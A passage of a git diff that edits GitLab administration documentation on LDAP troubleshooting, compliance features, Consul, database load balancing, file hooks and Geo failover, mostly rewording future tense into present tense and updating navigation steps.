blank`. +- `Projects limit is not a number`. + +To resolve this: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, go to **Settings > General**. +1. Expand both of the following: + - **Account and limit**. + - **Sign-up restrictions**. +1. Check, for example, the **Default projects limit** or **Allowed domains for sign-ups** + fields and ensure that a relevant value is configured. + #### Debug LDAP user filter [`ldapsearch`](#ldapsearch) allows you to test your configured @@ -329,8 +348,9 @@ things to check to debug the situation. group](index.md#adding-group-links). - Check that the user has an LDAP identity: 1. Sign in to GitLab as an administrator user. - 1. Go to **Admin area > Users**. - 1. Search for the user + 1. On the top bar, select **Menu >** **{admin}** **Admin**. + 1. On the left sidebar, select **Overview > Users**. + 1. Search for the user. 1. Open the user by clicking their name. Do not click **Edit**. 1. Select the **Identities** tab. There should be an LDAP identity with an LDAP DN as the 'Identifier'. If not, this user hasn't signed in with @@ -367,7 +387,7 @@ the following are true: - The configured `admin_group` in the `gitlab.rb` is a CN, rather than a DN or an array. - This CN falls under the scope of the configured `group_base`. - The members of the `admin_group` have already signed into GitLab with their LDAP - credentials. GitLab will only grant this administrator access to the users whose + credentials. GitLab only grants this administrator access to the users whose accounts are already connected to LDAP. If all the above are true and the users are still not getting access, [run a manual @@ -396,7 +416,7 @@ output](#example-console-output-after-a-group-sync). ##### Example console output after a group sync **(PREMIUM SELF)** Like the output from the user sync, the output from the [manual group -sync](#sync-all-groups) will also be very verbose. However, it contains lots +sync](#sync-all-groups) is also very verbose. However, it contains lots of helpful information. Indicates the point where syncing actually begins: @@ -407,7 +427,7 @@ Started syncing 'ldapmain' provider for 'my_group' group The following entry shows an array of all user DNs GitLab sees in the LDAP server. Note that these are the users for a single LDAP group, not a GitLab group. If -you have multiple LDAP groups linked to this GitLab group, you will see multiple +you have multiple LDAP groups linked to this GitLab group, you see multiple log entries like this - one for each LDAP group. If you don't see an LDAP user DN in this log entry, LDAP is not returning the user when we do the lookup. Verify the user is actually in the LDAP group. @@ -421,7 +441,7 @@ Members in 'ldap_group_1' LDAP group: ["uid=john0,ou=people,dc=example,dc=com", "uid=mary4,ou=people,dc=example,dc=com"] ``` -Shortly after each of the above entries, you will see a hash of resolved member +Shortly after each of the above entries, you see a hash of resolved member access levels. This hash represents all user DNs GitLab thinks should have access to this group, and at which access level (role). This hash is additive, and more DNs may be added, or existing entries modified, based on additional @@ -462,21 +482,21 @@ Finally, the following entry says syncing has finished for this group: Finished syncing all providers for 'my_group' group ``` -Once all the configured group links have been synchronized, GitLab will look +Once all the configured group links have been synchronized, GitLab looks for any Administrators or External users to sync: ```shell Syncing admin users for 'ldapmain' provider ``` -The output will look similar to what happens with a single group, and then -this line will indicate the sync is finished: +The output looks similar to what happens with a single group, and then +this line indicates the sync is finished: ```shell Finished syncing admin users for 'ldapmain' provider ``` -If [administrator sync](index.md#administrator-sync) is not configured, you'll see a message +If [administrator sync](index.md#administrator-sync) is not configured, you see a message stating as such: ```shell @@ -502,8 +522,8 @@ group = Group.find_by(name: 'my_gitlab_group') EE::Gitlab::Auth::Ldap::Sync::Group.execute_all_providers(group) ``` -The output will be similar to -[that you'd get from syncing all groups](#example-console-output-after-a-group-sync). +The output is similar to +[that you get from syncing all groups](#example-console-output-after-a-group-sync). #### Query a group in LDAP **(PREMIUM SELF)** @@ -524,24 +544,25 @@ ldap_group.member_uids When an LDAP user is created in GitLab, their LDAP DN is stored for later reference. -If GitLab cannot find a user by their DN, it will fall back -to finding the user by their email. If the lookup is successful, GitLab will -update the stored DN to the new value so both values will now match what's in +If GitLab cannot find a user by their DN, it falls back +to finding the user by their email. If the lookup is successful, GitLab +updates the stored DN to the new value so both values now match what's in LDAP. -If the email has changed and the DN has not, GitLab will find the user with +If the email has changed and the DN has not, GitLab finds the user with the DN and update its own record of the user's email to match the one in LDAP. -However, if the primary email _and_ the DN change in LDAP, then GitLab will -have no way of identifying the correct LDAP record of the user and, as a -result, the user will be blocked. To rectify this, the user's existing -profile will have to be updated with at least one of the new values (primary +However, if the primary email _and_ the DN change in LDAP, then GitLab +has no way of identifying the correct LDAP record of the user and, as a +result, the user is blocked. To rectify this, the user's existing +profile must be updated with at least one of the new values (primary email or DN) so the LDAP record can be found. -The following script will update the emails for all provided users so they -won't be blocked or unable to access their accounts. +The following script updates the emails for all provided users so they +aren't blocked or unable to access their accounts. ->**NOTE**: The following script will require that any new accounts with the new +NOTE: +The following script requires that any new accounts with the new email address are removed first. This is because emails have to be unique in GitLab. Go to the [rails console](#rails-console) and then run: @@ -588,23 +609,23 @@ users, [see what to do when no users are found](#no-users-are-found). ### GitLab logs If a user account is blocked or unblocked due to the LDAP configuration, a -message will be [logged to `application.log`](../../logs.md#applicationlog). +message is [logged to `application.log`](../../logs.md#applicationlog). If there is an unexpected error during an LDAP lookup (configuration error, -timeout), the sign-in is rejected and a message will be [logged to +timeout), the sign-in is rejected and a message is [logged to `production.log`](../../logs.md#productionlog). ### ldapsearch -`ldapsearch` is a utility that will allow you to query your LDAP server. You can +`ldapsearch` is a utility that allows you to query your LDAP server. You can use it to test your LDAP settings and ensure that the settings you're using -will get you the results you expect. +get you the results you expect. When using `ldapsearch`, be sure to use the same settings you've already specified in your `gitlab.rb` configuration so you can confirm what happens when those exact settings are used. -Running this command on the GitLab host will also help confirm that there's no +Running this command on the GitLab host also helps confirm that there's no obstruction between the GitLab host and LDAP. For example, consider the following GitLab configuration: @@ -685,9 +706,9 @@ For instructions about how to use the rails console, refer to this #### Enable debug output -This will provide debug output that will be useful to see -what GitLab is doing and with what. This value is not persisted, and will only -be enabled for this session in the rails console. +This provides debug output that is useful to see +what GitLab is doing and with what. This value is not persisted, and is only +enabled for this session in the rails console. To enable debug output in the rails console, [enter the rails console](#rails-console) and run: diff --git a/doc/administration/auth/okta.md b/doc/administration/auth/okta.md index 88e9180b103..64b42339d19 100644 --- a/doc/administration/auth/okta.md +++ b/doc/administration/auth/okta.md @@ -1,5 +1,6 @@ --- redirect_to: '../../integration/saml.md' +remove_date: '2021-06-15' --- This document was moved to [another location](../../integration/saml.md). diff --git a/doc/administration/clusters/kas.md b/doc/administration/clusters/kas.md index 1b9638411de..8e5c162001e 100644 --- a/doc/administration/clusters/kas.md +++ b/doc/administration/clusters/kas.md @@ -127,5 +127,5 @@ time="2020-10-29T04:44:14Z" level=warning msg="Config: failed to fetch" agent_id It means that the path to the configuration project is incorrect, or the path to `config.yaml` inside the project is not valid. -To fix this, ensure that the paths to the configuration repo and to the `config.yaml` file +To fix this, ensure that the paths to the configuration repository and to the `config.yaml` file are correct. diff --git a/doc/administration/compliance.md b/doc/administration/compliance.md index 470dc1b4f9e..6b80ddbcdb5 100644 --- a/doc/administration/compliance.md +++ b/doc/administration/compliance.md @@ -4,7 +4,7 @@ group: Compliance info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Compliance features +# Compliance features **(FREE)** You can configure the following GitLab features to help ensure that your GitLab instance meets common compliance standards. Click a feature name for additional @@ -13,20 +13,20 @@ documentation. The [security features](../security/README.md) in GitLab may also help you meet relevant compliance standards. -|Feature |GitLab tier |GitLab SaaS | Product level | -| ---------| :--------: | :-------: | :-----------: | -|**[Restrict SSH Keys](../security/ssh_keys_restrictions.md)**<br>Control the technology and key length of SSH keys used to access GitLab|Free+||Instance| -|**[Granular user roles and flexible permissions](../user/permissions.md)**<br>Manage access and permissions with five different user roles and settings for external users. Set permissions according to people's role, rather than either read or write access to a repository. Don't share the source code with people that only need access to the issue tracker.|Free+|✓|Instance, Group, Project| -|**[Enforce TOS acceptance](../user/admin_area/settings/terms.md)**<br>Enforce your users accepting new terms of service by blocking GitLab traffic.|Free+||Instance| -|**[Email all users of a project, group, or entire server](../tools/email.md)**<br>An administrator can email groups of users based on project or group membership, or email everyone using the GitLab instance. This is great for scheduled maintenance or upgrades.|Premium+||Instance| -|**[Omnibus package supports log forwarding](https://docs.gitlab.com/omnibus/settings/logs.html#udp-log-forwarding)**<br>Forward your logs to a central system.|Premium+||Instance| -|**[Lock project membership to group](../user/group/index.md#prevent-members-from-being-added-to-a-group)**<br>Group owners can prevent new members from being added to projects within a group.|Premium+|✓|Group| -|**[LDAP group sync](auth/ldap/index.md#group-sync)**<br>GitLab Enterprise Edition gives administrators the ability to automatically sync groups and manage SSH keys, permissions, and authentication, so you can focus on building your product, not configuring your tools.|Premium+||Instance| -|**[LDAP group sync filters](auth/ldap/index.md#group-sync)**<br>GitLab Enterprise Edition Premium gives more flexibility to synchronize with LDAP based on filters, meaning you can leverage LDAP attributes to map GitLab permissions.|Premium+||Instance| -|**[Audit events](audit_events.md)**<br>To maintain the integrity of your code, GitLab Enterprise Edition Premium gives administrators the ability to view any modifications made within the GitLab server in an advanced audit events system, so you can control, analyze, and track every change.|Premium+|✓|Instance, Group, Project| -|**[Auditor users](auditor_users.md)**<br>Auditor users are users who are given read-only access to all projects, groups, and other resources on the GitLab instance.|Premium+||Instance| -|**[Credentials inventory](../user/admin_area/credentials_inventory.md)**<br>With a credentials inventory, GitLab administrators can keep track of the credentials used by all of the users in their GitLab instance. |Ultimate||Instance| -|**Separation of Duties using [Protected branches](../user/project/protected_branches.md#protected-branches-approval-by-code-owners) and [custom CI Configuration Paths](../ci/pipelines/settings.md#custom-cicd-configuration-path)**<br> GitLab Premium users can leverage the GitLab cross-project YAML configurations to define deployers of code and developers of code. View the [Separation of Duties Deploy Project](https://gitlab.com/guided-explorations/separation-of-duties-deploy/blob/master/README.md) and [Separation of Duties Project](https://gitlab.com/guided-explorations/separation-of-duties/blob/master/README.md) to see how to use this set up to define these roles.|Premium+|✓|Project| -|**[Compliance frameworks](../user/project/settings/index.md#compliance-frameworks)**<br>Create a custom compliance framework at the group level to describe the type of compliance requirements any child project needs to follow. |Premium+|✓|Group| -|**[Compliance pipelines](../user/project/settings/index.md#compliance-pipeline-configuration)**<br>Define a pipeline configuration to run for any projects with a given compliance framework.|Ultimate|✓|Group| -|**[Compliance dashboard](../user/compliance/compliance_dashboard/index.md)**<br>Quickly get visibility into the compliance posture of your organization.|Ultimate|✓|Group| +| Feature | GitLab tier | GitLab SaaS | Product level | +|----------|:-----------:|:-----------:|:-------------:| +|**[Restrict SSH Keys](../security/ssh_keys_restrictions.md)**<br>Control the technology and key length of SSH keys used to access GitLab. | Free+ | **{dotted-circle}** No | Instance | +|**[Granular user roles and flexible permissions](../user/permissions.md)**<br>Manage access and permissions with five different user roles and settings for external users. Set permissions according to people's role, rather than either read or write access to a repository. Don't share the source code with people that only need access to the issue tracker. | Free+ | **{check-circle}** Yes | Instance, Group, Project | +|**[Enforce TOS acceptance](../user/admin_area/settings/terms.md)**<br>Enforce your users accepting new terms of service by blocking GitLab traffic. | Free+ | **{dotted-circle}** No | Instance | +|**[Email all users of a project, group, or entire server](../tools/email.md)**<br>An administrator can email groups of users based on project or group membership, or email everyone using the GitLab instance. This is great for scheduled maintenance or upgrades. | Premium+ | **{dotted-circle}** No | Instance | +|**[Omnibus package supports log forwarding](https://docs.gitlab.com/omnibus/settings/logs.html#udp-log-forwarding)**<br>Forward your logs to a central system. | Premium+ | **{dotted-circle}** No | Instance | +|**[Lock project membership to group](../user/group/index.md#prevent-members-from-being-added-to-a-group)**<br>Group owners can prevent new members from being added to projects within a group. | Premium+ | **{check-circle}** Yes | Group | +|**[LDAP group sync](auth/ldap/index.md#group-sync)**<br>GitLab Enterprise Edition gives administrators the ability to automatically sync groups and manage SSH keys, permissions, and authentication, so you can focus on building your product, not configuring your tools. | Premium+ | **{dotted-circle}** No | Instance | +|**[LDAP group sync filters](auth/ldap/index.md#group-sync)**<br>GitLab Enterprise Edition Premium gives more flexibility to synchronize with LDAP based on filters, meaning you can leverage LDAP attributes to map GitLab permissions. | Premium+ | **{dotted-circle}** No | Instance | +|**[Audit events](audit_events.md)**<br>To maintain the integrity of your code, GitLab Enterprise Edition Premium gives administrators the ability to view any modifications made within the GitLab server in an advanced audit events system, so you can control, analyze, and track every change. | Premium+ | **{check-circle}** Yes | Instance, Group, Project | +|**[Auditor users](auditor_users.md)**<br>Auditor users are users who are given read-only access to all projects, groups, and other resources on the GitLab instance. | Premium+ | **{dotted-circle}** No | Instance | +|**[Credentials inventory](../user/admin_area/credentials_inventory.md)**<br>With a credentials inventory, GitLab administrators can keep track of the credentials used by all of the users in their GitLab instance. | Ultimate | **{dotted-circle}** No | Instance | +|**Separation of Duties using [Protected branches](../user/project/protected_branches.md#protected-branches-approval-by-code-owners) and [custom CI Configuration Paths](../ci/pipelines/settings.md#custom-cicd-configuration-file)**<br> GitLab Premium users can leverage the GitLab cross-project YAML configurations to define deployers of code and developers of code. View the [Separation of Duties Deploy Project](https://gitlab.com/guided-explorations/separation-of-duties-deploy/blob/master/README.md) and [Separation of Duties Project](https://gitlab.com/guided-explorations/separation-of-duties/blob/master/README.md) to see how to use this set up to define these roles. | Premium+ | **{check-circle}** Yes | Project | +|**[Compliance frameworks](../user/project/settings/index.md#compliance-frameworks)**<br>Create a custom compliance framework at the group level to describe the type of compliance requirements any child project needs to follow. | Premium+ | **{check-circle}** Yes | Group | +|**[Compliance pipelines](../user/project/settings/index.md#compliance-pipeline-configuration)**<br>Define a pipeline configuration to run for any projects with a given compliance framework. | Ultimate | **{check-circle}** Yes | Group | +|**[Compliance dashboard](../user/compliance/compliance_dashboard/index.md)**<br>Quickly get visibility into the compliance posture of your organization. | Ultimate | **{check-circle}** Yes | Group | diff --git a/doc/administration/configure.md b/doc/administration/configure.md new file mode 100644 index 00000000000..12a8f721ccf --- /dev/null +++ b/doc/administration/configure.md @@ -0,0 +1,16 @@ +--- +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: reference +--- + +# Configure your GitLab installation + +Customize and configure your self-managed GitLab installation. + +- [Authentication](auth/README.md) +- [Configuration](../user/admin_area/index.md) +- [Repository storage](repository_storage_paths.md) +- [Geo](geo/index.md) +- [Packages](packages/index.md) diff --git a/doc/administration/consul.md b/doc/administration/consul.md index a748259aff0..c88047c4c61 100644 --- a/doc/administration/consul.md +++ b/doc/administration/consul.md @@ -15,11 +15,17 @@ turn communicate with the servers. GitLab Premium includes a bundled version of [Consul](https://www.consul.io/) a service networking solution that you can manage by using `/etc/gitlab/gitlab.rb`. +## Prerequisites + +Before configuring Consul: + +1. Review the [reference architecture](reference_architectures/index.md#available-reference-architectures) + documentation to determine the number of Consul server nodes you should have. +1. If necessary, ensure the [appropriate ports are open](https://docs.gitlab.com/omnibus/package-information/defaults.html#ports) in your firewall. + ## Configure the Consul nodes -After you review the [reference architecture](reference_architectures/index.md#available-reference-architectures) -documentation to determine the number of Consul server nodes you should have, -on _each_ Consul server node: +On _each_ Consul server node: 1. Follow the instructions to [install](https://about.gitlab.com/install/) GitLab by choosing your preferred platform, but do not supply the @@ -80,6 +86,15 @@ within each node. The command will return an empty array if the cluster is healt curl "http://127.0.0.1:8500/v1/health/state/critical" ``` +If the Consul version has changed, you'll see a notice at the end of `gitlab-ctl reconfigure` +informing you that Consul needs to be restarted for the new version to be used. + +Restart Consul one node at a time: + +```shell +sudo gitlab-ctl restart consul +``` + Consul nodes communicate using the raft protocol. If the current leader goes offline, there needs to be a leader election. A leader node must exist to facilitate synchronization across the cluster. If too many nodes go offline at the same time, diff --git a/doc/administration/database_load_balancing.md b/doc/administration/database_load_balancing.md index bd34a82f688..9c1ed9b3477 100644 --- a/doc/administration/database_load_balancing.md +++ b/doc/administration/database_load_balancing.md @@ -4,9 +4,10 @@ group: Database info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Database Load Balancing **(PREMIUM SELF)** +# Database Load Balancing **(FREE SELF)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1283) in [GitLab Premium](https://about.gitlab.com/pricing/) 9.0. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1283) in [GitLab Premium](https://about.gitlab.com/pricing/) 9.0. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/60894) from GitLab Premium to GitLab Free in 14.0. Distribute read-only queries among multiple database servers. @@ -21,8 +22,6 @@ component may increase reliability and availability through redundancy. When database load balancing is enabled in GitLab, the load is balanced using a simple round-robin algorithm, without any external dependencies such as Redis. -Load balancing is not enabled for Sidekiq as this would lead to consistency -problems, and Sidekiq mostly performs writes anyway. In the following image, you can see the load is balanced rather evenly among all the secondaries (`db4`, `db5`, `db6`). Because `SELECT` queries are not @@ -105,6 +104,32 @@ the following. This will balance the load between `host1.example.com` and 1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect. +### Enable the load balancer for Sidekiq + +Sidekiq mostly writes to the database, which means that most of its traffic hits the +primary database. + +Some background jobs can use database replicas to read application state. +This allows to offload the primary database. + +Load balancing is disabled by default in Sidekiq. When enabled, we can define +[the data consistency](../development/sidekiq_style_guide.md#job-data-consistency) +requirements for a specific job. + +To enable it, define the `ENABLE_LOAD_BALANCING_FOR_SIDEKIQ` variable to the environment, as shown below. + +For Omnibus installations: + +```ruby +gitlab_rails['env'] = {"ENABLE_LOAD_BALANCING_FOR_SIDEKIQ" => "true"} +``` + +For installations from source: + +```shell +export ENABLE_LOAD_BALANCING_FOR_SIDEKIQ="true" +``` + ## Service Discovery > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/5883) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.0. @@ -171,28 +196,6 @@ Some nameservers (like [Consul](https://www.consul.io/docs/discovery/dns#udp-bas queried over UDP. To overcome this issue, you can use TCP for querying by setting `use_tcp` to `true`. -### Forking - -NOTE: -Starting with GitLab 13.0, Puma is the default web server used in GitLab -all-in-one package based installations as well as GitLab Helm chart deployments. - -If you use an application server that forks, such as Unicorn, you _have to_ -update your Unicorn configuration to start service discovery _after_ a fork. -Failure to do so leads to service discovery only running in the parent -process. If you are using Unicorn, then you can add the following to your -Unicorn configuration file: - -```ruby -after_fork do |server, worker| - defined?(Gitlab::Database::LoadBalancing) && - Gitlab::Database::LoadBalancing.start_service_discovery -end -``` - -This ensures that service discovery is started in both the parent and all -child processes. - ## Balancing queries Read-only `SELECT` queries balance among all the secondary hosts. diff --git a/doc/administration/environment_variables.md b/doc/administration/environment_variables.md index a168584e754..057abce0ed5 100644 --- a/doc/administration/environment_variables.md +++ b/doc/administration/environment_variables.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Environment variables +# Environment variables **(FREE SELF)** GitLab exposes certain environment variables which can be used to override their defaults values. @@ -32,8 +32,6 @@ You can use the following environment variables to override certain values: | `GITLAB_HOST` | string | The full URL of the GitLab server (including `http://` or `https://`). | | `GITLAB_ROOT_PASSWORD` | string | Sets the password for the `root` user on installation. | | `GITLAB_SHARED_RUNNERS_REGISTRATION_TOKEN` | string | Sets the initial registration token used for runners. | -| `GITLAB_UNICORN_MEMORY_MAX` | integer | The maximum memory threshold (in bytes) for the [unicorn-worker-killer](operations/unicorn.md#unicorn-worker-killer). | -| `GITLAB_UNICORN_MEMORY_MIN` | integer | The minimum memory threshold (in bytes) for the [unicorn-worker-killer](operations/unicorn.md#unicorn-worker-killer). | | `RAILS_ENV` | string | The Rails environment; can be one of `production`, `development`, `staging`, or `test`. | | `UNSTRUCTURED_RAILS_LOG` | string | Enables the unstructured log in addition to JSON logs (defaults to `true`). | diff --git a/doc/administration/external_pipeline_validation.md b/doc/administration/external_pipeline_validation.md index 89543e446ac..9fc65fdd0b5 100644 --- a/doc/administration/external_pipeline_validation.md +++ b/doc/administration/external_pipeline_validation.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- @@ -17,7 +17,7 @@ data as payload. The response code from the external service determines if GitLa should accept or reject the pipeline. If the response is: - `200`, the pipeline is accepted. -- `4XX`, the pipeline is rejected. +- `406`, the pipeline is rejected. - Other codes, the pipeline is accepted and logged. If there's an error or the request times out, the pipeline is accepted. @@ -74,7 +74,9 @@ required number of seconds. "id": { "type": "integer" }, "username": { "type": "string" }, "email": { "type": "string" }, - "created_at": { "type": ["string", "null"], "format": "date-time" } + "created_at": { "type": ["string", "null"], "format": "date-time" }, + "current_sign_in_ip": { "type": ["string", "null"] }, + "last_sign_in_ip": { "type": ["string", "null"] } } }, "pipeline": { @@ -126,6 +128,17 @@ required number of seconds. "plan": { "type": "string" }, "trial": { "type": "boolean" } } + }, + "provisioning_group": { + "type": "object", + "required": [ + "plan", + "trial" + ], + "properties": { + "plan": { "type": "string" }, + "trial": { "type": "boolean" } + } } } } diff --git a/doc/administration/feature_flags.md b/doc/administration/feature_flags.md index 9ba50cfbf2e..44abf4a875d 100644 --- a/doc/administration/feature_flags.md +++ b/doc/administration/feature_flags.md @@ -127,6 +127,5 @@ Feature.disabled?(:my_awesome_feature) => false ``` -When the feature is ready, GitLab will remove the feature flag, the option for -enabling and disabling it will no longer exist, and the feature will become -available in all instances. +When the feature is ready, GitLab removes the feature flag, and the option for +enabling and disabling it no longer exists. The feature becomes available in all instances. diff --git a/doc/administration/file_hooks.md b/doc/administration/file_hooks.md index c60f0040496..f73c961f541 100644 --- a/doc/administration/file_hooks.md +++ b/doc/administration/file_hooks.md @@ -33,7 +33,7 @@ see the [system hooks](../system_hooks/system_hooks.md) documentation. The file hooks must be placed directly into the `file_hooks` directory, subdirectories are ignored. There is an -[`example` directory inside `file_hooks`](https://gitlab.com/gitlab-org/gitlab/tree/master/file_hooks/examples) +[`example` directory inside `file_hooks`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/file_hooks/examples) where you can find some basic examples. Follow the steps below to set up a custom hook: @@ -63,8 +63,11 @@ need to restart GitLab to apply a new file hook. If a file hook executes with non-zero exit code or GitLab fails to execute it, a message is logged to: -- `gitlab-rails/plugin.log` in an Omnibus installation. -- `log/plugin.log` in a source installation. +- `gitlab-rails/file_hook.log` in an Omnibus installation. +- `log/file_hook.log` in a source installation. + +NOTE: +Before 14.0 release, the file name was `plugin.log` ## Creating file hooks @@ -79,7 +82,7 @@ require 'json' require 'mail' # The incoming variables are in JSON format so we need to parse it first. -ARGS = JSON.parse(STDIN.read) +ARGS = JSON.parse($stdin.read) # We only want to trigger this file hook on the event project_create return unless ARGS['event_name'] == 'project_create' diff --git a/doc/administration/geo/disaster_recovery/index.md b/doc/administration/geo/disaster_recovery/index.md index 7c6f4a32b57..f6f88e9b193 100644 --- a/doc/administration/geo/disaster_recovery/index.md +++ b/doc/administration/geo/disaster_recovery/index.md @@ -7,17 +7,14 @@ type: howto # Disaster Recovery (Geo) **(PREMIUM SELF)** -Geo replicates your database, your Git repositories, and few other assets. -We will support and replicate more data in the future, that will enable you to -failover with minimal effort, in a disaster situation. - -See [Geo limitations](../index.md#limitations) for more information. +Geo replicates your database, your Git repositories, and few other assets, +but there are some [limitations](../index.md#limitations). WARNING: Disaster recovery for multi-secondary configurations is in **Alpha**. For the latest updates, check the [Disaster Recovery epic for complete maturity](https://gitlab.com/groups/gitlab-org/-/epics/3574). Multi-secondary configurations require the complete re-synchronization and re-configuration of all non-promoted secondaries and -will cause downtime. +causes downtime. ## Promoting a **secondary** Geo node in single-secondary configurations @@ -91,13 +88,16 @@ Note the following when promoting a secondary: before proceeding. If the secondary node [has been paused](../../geo/index.md#pausing-and-resuming-replication), the promotion performs a point-in-time recovery to the last known state. - Data that was created on the primary while the secondary was paused will be lost. + Data that was created on the primary while the secondary was paused is lost. - A new **secondary** should not be added at this time. If you want to add a new **secondary**, do this after you have completed the entire process of promoting the **secondary** to the **primary**. - If you encounter an `ActiveRecord::RecordInvalid: Validation failed: Name has already been taken` error message during this process, for more information, see this [troubleshooting advice](../replication/troubleshooting.md#fixing-errors-during-a-failover-or-when-promoting-a-secondary-to-a-primary-node). +- If you run into errors when using `--force` or `--skip-preflight-checks` before 13.5 during this process, + for more information, see this + [troubleshooting advice](../replication/troubleshooting.md#errors-when-using---skip-preflight-checks-or---force). #### Promoting a **secondary** node running on a single machine @@ -243,6 +243,7 @@ required: sets the database to read-write. The instructions vary depending on where your database is hosted: - [Amazon RDS](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_ReadRepl.html#USER_ReadRepl.Promote) - [Azure PostgreSQL](https://docs.microsoft.com/en-us/azure/postgresql/howto-read-replicas-portal#stop-replication) + - [Google Cloud SQL](https://cloud.google.com/sql/docs/mysql/replication/manage-replicas#promote-replica) - For other external PostgreSQL databases, save the following script in your secondary node, for example `/tmp/geo_promote.sh`, and modify the connection parameters to match your environment. Then, execute it to promote the replica: @@ -493,7 +494,7 @@ must disable the **primary** site: WARNING: If the secondary site [has been paused](../../geo/index.md#pausing-and-resuming-replication), this performs a point-in-time recovery to the last known state. -Data that was created on the primary while the secondary was paused will be lost. +Data that was created on the primary while the secondary was paused is lost. 1. SSH in to the database node in the **secondary** and trigger PostgreSQL to promote to read-write: @@ -509,7 +510,7 @@ Data that was created on the primary while the secondary was paused will be lost `geo_secondary_role`: NOTE: - Depending on your architecture these steps will need to be run on any GitLab node that is external to the **secondary** Kubernetes cluster. + Depending on your architecture, these steps need to run on any GitLab node that is external to the **secondary** Kubernetes cluster. ```ruby ## In pre-11.5 documentation, the role was enabled as follows. Remove this line. @@ -537,13 +538,13 @@ Data that was created on the primary while the secondary was paused will be lost 1. Update the existing cluster configuration. - You can retrieve the existing config with Helm: + You can retrieve the existing configuration with Helm: ```shell helm --namespace gitlab get values gitlab-geo > gitlab.yaml ``` - The existing config will contain a section for Geo that should resemble: + The existing configuration contains a section for Geo that should resemble: ```yaml geo: @@ -560,9 +561,9 @@ Data that was created on the primary while the secondary was paused will be lost To promote the **secondary** cluster to a **primary** cluster, update `role: secondary` to `role: primary`. - You can remove the entire `psql` section if the cluster will remain as a primary site, this refers to the tracking database and will be ignored whilst the cluster is acting as a primary site. + If the cluster remains as a primary site, you can remove the entire `psql` section; it refers to the tracking database and is ignored whilst the cluster is acting as a primary site. - Update the cluster with the new config: + Update the cluster with the new configuration: ```shell helm upgrade --install --version <current Chart version> gitlab-geo gitlab/gitlab --namespace gitlab -f gitlab.yaml diff --git a/doc/administration/geo/disaster_recovery/planned_failover.md b/doc/administration/geo/disaster_recovery/planned_failover.md index bd8467f5437..d50078da172 100644 --- a/doc/administration/geo/disaster_recovery/planned_failover.md +++ b/doc/administration/geo/disaster_recovery/planned_failover.md @@ -35,7 +35,7 @@ required scheduled maintenance period significantly. A common strategy for keeping this period as short as possible for data stored in files is to use `rsync` to transfer the data. An initial `rsync` can be performed ahead of the maintenance window; subsequent `rsync`s (including a -final transfer inside the maintenance window) will then transfer only the +final transfer inside the maintenance window) then transfers only the *changes* between the **primary** node and the **secondary** nodes. Repository-centric strategies for using `rsync` effectively can be found in the @@ -50,7 +50,7 @@ this command reports `ERROR - Replication is not up-to-date` even if replication is actually up-to-date. This bug was fixed in GitLab 13.8 and later. -Run this command to list out all preflight checks and automatically check if replication and verification are complete before scheduling a planned failover to ensure the process will go smoothly: +Run this command to list out all preflight checks and automatically check if replication and verification are complete before scheduling a planned failover to ensure the process goes smoothly: ```shell gitlab-ctl promotion-preflight-checks @@ -73,7 +73,7 @@ In GitLab 12.4, you can optionally allow GitLab to manage replication of Object Database settings are automatically replicated to the **secondary** node, but the `/etc/gitlab/gitlab.rb` file must be set up manually, and differs between nodes. If features such as Mattermost, OAuth or LDAP integration are enabled -on the **primary** node but not the **secondary** node, they will be lost during failover. +on the **primary** node but not the **secondary** node, they are lost during failover. Review the `/etc/gitlab/gitlab.rb` file for both nodes and ensure the **secondary** node supports everything the **primary** node does **before** scheduling a planned failover. @@ -119,7 +119,7 @@ time to complete If any objects are failing to replicate, this should be investigated before scheduling the maintenance window. Following a planned failover, anything that -failed to replicate will be **lost**. +failed to replicate is **lost**. You can use the [Geo status API](../../../api/geo_nodes.md#retrieve-project-sync-or-verification-failures-that-occurred-on-the-current-node) to review failed objects and the reasons for failure. @@ -136,9 +136,9 @@ This [content was moved to another location](background_verification.md). On the **primary** node, navigate to **Admin Area > Messages**, add a broadcast message. You can check under **Admin Area > Geo** to estimate how long it -will take to finish syncing. An example message would be: +takes to finish syncing. An example message would be: -> A scheduled maintenance will take place at XX:XX UTC. We expect it to take +> A scheduled maintenance takes place at XX:XX UTC. We expect it to take > less than 1 hour. ## Prevent updates to the **primary** node @@ -151,7 +151,7 @@ be disabled on the primary site: 1. Disable non-Geo periodic background jobs on the **primary** node by navigating to **Admin Area > Monitoring > Background Jobs > Cron**, pressing `Disable All`, and then pressing `Enable` for the `geo_sidekiq_cron_config_worker` cron job. - This job will re-enable several other cron jobs that are essential for planned + This job re-enables several other cron jobs that are essential for planned failover to complete successfully. ## Finish replicating and verifying all data @@ -161,7 +161,7 @@ be disabled on the primary site: 1. On the **primary** node, navigate to **Admin Area > Monitoring > Background Jobs > Queues** and wait for all queues except those with `geo` in the name to drop to 0. These queues contain work that has been submitted by your users; failing over - before it is completed will cause the work to be lost. + before it is completed, causes the work to be lost. 1. On the **primary** node, navigate to **Admin Area > Geo** and wait for the following conditions to be true of the **secondary** node you are failing over to: @@ -176,15 +176,15 @@ be disabled on the primary site: to verify the integrity of CI artifacts, LFS objects, and uploads in file storage. -At this point, your **secondary** node will contain an up-to-date copy of everything the -**primary** node has, meaning nothing will be lost when you fail over. +At this point, your **secondary** node contains an up-to-date copy of everything the +**primary** node has, meaning nothing was lost when you fail over. ## Promote the **secondary** node Finally, follow the [Disaster Recovery 